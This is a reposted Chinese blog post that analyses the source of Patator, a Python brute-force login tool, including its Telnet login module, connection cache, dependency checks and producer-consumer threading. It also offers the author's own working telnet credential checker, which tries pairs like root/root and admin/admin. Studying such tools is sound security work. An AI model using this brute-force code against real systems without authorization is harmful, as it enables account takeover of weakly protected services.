转自:http://blog.csdn.net/yueguanghaidao/article/details/9473559
说到暴力破解大家首先想到的肯定是hydra,的确hydra的确非常强大,支持几乎所有的弱密码破解。hydra本身使用C语言开发,性能很高,很适合学习。
但今天我们使用的是Patator,Patator本身使用Python开发,最新版本也就4000行左右,可以说小到极致,这主要多亏了Python库的丰富和强大。
Patator下载地址:http://code.google.com/p/patator/downloads/list。
比较遗憾的是需要自己提供密码字典,下面我们就揭开Patator的真面目。
先来扫个telnet弱密码,看下效果:
其中telnet_login,意思是扫telnet,其中user.txt是用户名字典,passwd.txt是密码字典
Patator和hydra都会交叉用户名和密码文件,通过上诉比较我们可以看出,两者最大不同点在于,hydra直接可以输出成功的用户名和密码,但Patator只输出认证后信息。
这也导致了hydra比Patator更好用,但难免会有误报。
其中telnet模块源码如下:
- # Telnet {{{
- from telnetlib import Telnet
- class Telnet_login(TCP_Cache):
- ””’Brute-force Telnet”’
- usage_hints = (
- “””%prog host=10.0.0.1 inputs=’FILE0\\nFILE1′ 0=logins.txt 1=passwords.txt persistent=0″””
- “”” prompt_re=’Username:|Password:’ -x ignore:egrep=’Login incorrect.+Username:'”””,
- )
- available_options = (
- (‘host’, ‘target host’),
- (‘port’, ‘target port [23]’),
- (‘inputs’, ‘list of values to input’),
- (‘prompt_re’, ‘regular expression to match prompts [\w+]’),
- (‘timeout’, ‘seconds to wait for a response and for prompt_re to match received data [20]’),
- )
- available_options += TCP_Cache.available_options
- Response = Response_Base
- def connect(self, host, port, timeout):
- self.prompt_count = 0
- fp = Telnet(host, int(port), int(timeout))
- return TCP_Connection(fp)
- def execute(self, host, port=’23’, inputs=None, prompt_re=’\w+:’, timeout=’20’, persistent=’1′):
- fp, _ = self.bind(host, port, timeout=timeout)
- trace = ”
- timeout = int(timeout)
- if self.prompt_count == 0:
- _, _, raw = fp.expect([prompt_re], timeout=timeout)
- logger.debug(‘raw banner: %s’ % repr(raw))
- trace += raw
- self.prompt_count += 1
- if inputs is not None:
- for val in inputs.split(r’\n’):
- logger.debug(‘input: %s’ % val)
- cmd = val + ‘\n’ #’\r\x00′
- fp.write(cmd)
- trace += cmd
- _, _, raw = fp.expect([prompt_re], timeout=timeout)
- logger.debug(‘raw %d: %s’ % (self.prompt_count, repr(raw)))
- trace += raw
- self.prompt_count += 1
- if persistent == ‘0’:
- self.reset()
- mesg = repr(raw)[1:-1] # strip enclosing single quotes
- return self.Response(0, mesg, trace)
- # }}}
把核心部分抽出来,流程是这样的。
创建一个连接到telnetlib.Telnet对象fp –>> 等待出现匹配正则(\w+:)字符出现(如 login:,username等)
–>> 发送用户名 –>>继续等待(\w+:)出现(如passwd:,Password:) –>> 发送密码 ->> 等待(\w+:)出现,输出返回字符串
过程就是这么简单,其中expect函数接受二个参数,第一个是正则表达式的列表,可以是编译好的,也可以是字符串,第二个是超时时间。
返回一个三项的tuple,第一个是匹配到的正则序号(从0开始),第二个是匹配match的对象,第三个是直到正则的返回数据(包括匹配内容)
这说的有点抽象。
请看下面:
从上面我们可以很明显看出,匹配的正则是按顺序的,虽然返回数据中,‘bo’在’lo’之前,但由于在正则列表中‘lo’在前,所以数据一致读到’lo’。
到这里为止,大家应该对Patator如何去爆telnet弱密码基本了解了。
但如果我们想直接得出破解的用户名和密码,这该怎么办呢?
有一种思路就是提供一个错误的用户名和密码,保存返回的内容,然后每次获取要测试的用户名和密码的回内容,通过比较两次的结果就可以结果了。但由于返回内容会千奇百怪,所以要做较多的特殊处理。
如以下代码:
- import telnetlib
- class telnet_check:
- def __init__(self,host,port=23,timeout=10):
- self.host=host
- self.port=port
- self.timeout=timeout
- self.promote=’\w+:’
- self.errmsg=”
- self.geterrmsg()
- def connect(self):
- return telnetlib.Telnet(self.host,self.port,self.timeout)
- def geterrmsg(self):
- f=self.connect()
- f.expect([self.promote],self.timeout)
- f.write(‘nullnull\r’)
- f.expect([self.promote],self.timeout)
- f.write(‘nullnull\r’)
- _,_,self.errmsg=f.expect([self.promote],self.timeout)
- self.errmsg=self.errmsg.strip()
- def check(self,User,Passwd):
- t=self.connect()
- t.expect([self.promote],self.timeout)
- t.write(User+’\r’)
- _,_,p=t.expect([self.promote],self.timeout)
- if p.strip() == self.errmsg:
- return False
- t.write(Passwd+’\r’)
- _,_,loginmsg=t.expect([self.promote],self.timeout)
- loginmsg=loginmsg.strip()
- if self.errmsg != ” and self.errmsg != loginmsg:
- return True
- else:
- return False
- if __name__==’__main__’:
- tn=telnet_check(‘127.0.0.1’)
- print tn.check(‘yihaibo’,’1′)
- print tn.check(‘root’,’root’)
- print tn.check(‘admin’,’admin’)
运行结果如下:
我们发现这的确是一种可行的办法。这也给hydra误报带来了解决办法。
由于每次都创建telnetlib.Telnet对象比较浪费资源,patator使用了缓存来解决这个问题,但这里我一直有一个疑问,为啥Telnet对象可以缓存,如果亲明白,教教我吧!
Telnet_login的父类TCP_Cache简化代码如下:
- class TCP_Cache:
- def __init__(self):
- self.cache = {} # {‘10.0.0.1:22’: (‘root’, conn1), ‘10.0.0.2:22’: (‘admin’, conn2),
- self.curr = None
- def __del__(self):
- for _, (_, c) in self.cache.items():
- c.close()
- self.cache.clear()
- def bind(self, host, port, *args, **kwargs):
- hp = ‘%s:%s’ % (host, port)
- key = ‘:’.join(args)
- if hp in self.cache:
- k, c = self.cache[hp]
- if key == k:
- self.curr = hp, k, c
- return c.fp, c.banner
- else:
- c.close()
- del self.cache[hp]
- self.curr = None
- conn = self.connect(host, port, *args, **kwargs)
- self.cache[hp] = (key, conn)
- self.curr = hp, key, conn
- return conn.fp, conn.banner
我们可以看到,当开始新建一Telnet_login对象时,将把host:port信息加入cache,以后每次都会现在cache中寻找,如果有就直接返回连接对象(使用先前fp,fp.expect返回信息怎么还可用???)。
Patator基于模块化的设计,啥模块化的设计?因为支持多种协议,而各个协议之间都是独立的。举个简单的例子,你想测试telnet弱密码,使用的是 telnetlib库,属于标准库,所以你完全可以扫telnet弱密码,即使你没有安装pycurl(扫http弱密码使用的库,是curl库的 python封装)。哇塞,挺强大啊,那这又是怎么实现的呢?
不看不知道,一看吓一跳,相当的简单。
- warnings = []
- try:
- import pycurl
- except ImportError:
- warnings.append(‘pycurl’)
- dependencies = {
- ‘paramiko’: [(‘ssh_login’,), ‘http://www.lag.net/paramiko/’, ‘1.7.7.1’],
- ‘pycurl’: [(‘http_fuzz’,), ‘http://pycurl.sourceforge.net/’, ‘7.19.0’],
- ‘openldap’: [(‘ldap_login’,), ‘http://www.openldap.org/’, ‘2.4.24’],
- ‘impacket’: [(‘smb_login’,’smb_lookupsid’,’mssql_login’), ‘http://oss.coresecurity.com/projects/impacket.html’, ‘svn#765’],
- ‘cx_Oracle’: [(‘oracle_login’,), ‘http://cx-oracle.sourceforge.net/’, ‘5.1.1’],
- ‘mysql-python’: [(‘mysql_login’,), ‘http://sourceforge.net/projects/mysql-python/’, ‘1.2.3’],
- ‘psycopg’: [(‘pgsql_login’,), ‘http://initd.org/psycopg/’, ‘2.4.5’],
- ‘pycrypto’: [(‘vnc_login’,), ‘http://www.dlitz.net/software/pycrypto/’, ‘2.3’],
- ‘dnspython’: [(‘dns_reverse’, ‘dns_forward’), ‘http://www.dnspython.org/’, ‘1.10.0’],
- ‘IPy’: [(‘dns_reverse’, ‘dns_forward’), ‘https://github.com/haypo/python-ipy’, ‘0.75’],
- ‘pysnmp’: [(‘snmp_login’,), ‘http://pysnmp.sf.net/’, ‘4.2.1’],
- ‘unzip’: [(‘unzip_pass’,), ‘http://www.info-zip.org/’, ‘6.0’],
- ‘java’: [(‘keystore_pass’,), ‘http://www.oracle.com/technetwork/java/javase/’, ‘6’],
- ‘python’: [(‘ftp_login’,), ‘http://www.python.org/’, ‘2.7’],
- }
- for w in set(warnings):
- mods, url, ver = dependencies[w]
- if name in mods:
- print(‘ERROR: %s %s (%s) is required to run %s.’ % (w, ver, url, name))
- abort = True
上面这是我简化后的代码,从中可以看出,有一个全局变量列表warning,每次导入需要的库时,如果导入失败,则将库名加入warning,当我们通过 命令行传递使用哪个模块时,如我们使用pycurl,这时我们发现在warnings中含有“pycurl”,所以就提示我们需要安装库,而且很智能的将 库的地址也给我们了。
由于是弱密码扫描,字典肯定不小,那么为了追求速度,肯定要使用线程,patator默认使用10个线程去跑,这部分代码主要在控制部分中(class Controller),代码还是有点小复杂的。
- gqueues = [Queue(maxsize=10000) for _ in range(self.num_threads)]
- # consumers
- for num in range(self.num_threads):
- pqueue = Queue(maxsize=1000)
- t = Thread(target=self.consume, args=(gqueues[num], pqueue))
- t.daemon = True
- t.start()
- self.thread_report.append(pqueue)
- self.thread_progress.append(Progress())
- # producer
- t = Thread(target=self.produce, args=(gqueues,))
- t.daemon = True
- t.start()
正如你所看到的,启用了两个最经典的线程,一个produce,一个consume,两者通信使用的是Queue。self.num_threads是可配的,通过命名行中指定 -t,否则将是默认的10个线程。
到这里就要和大家说再见了,Patator源码还是值得一读的,剩下的就交给你们自己行动了。
转载请注明:jinglingshu的博客 » 暴力破解测试工具–Patator 源码分析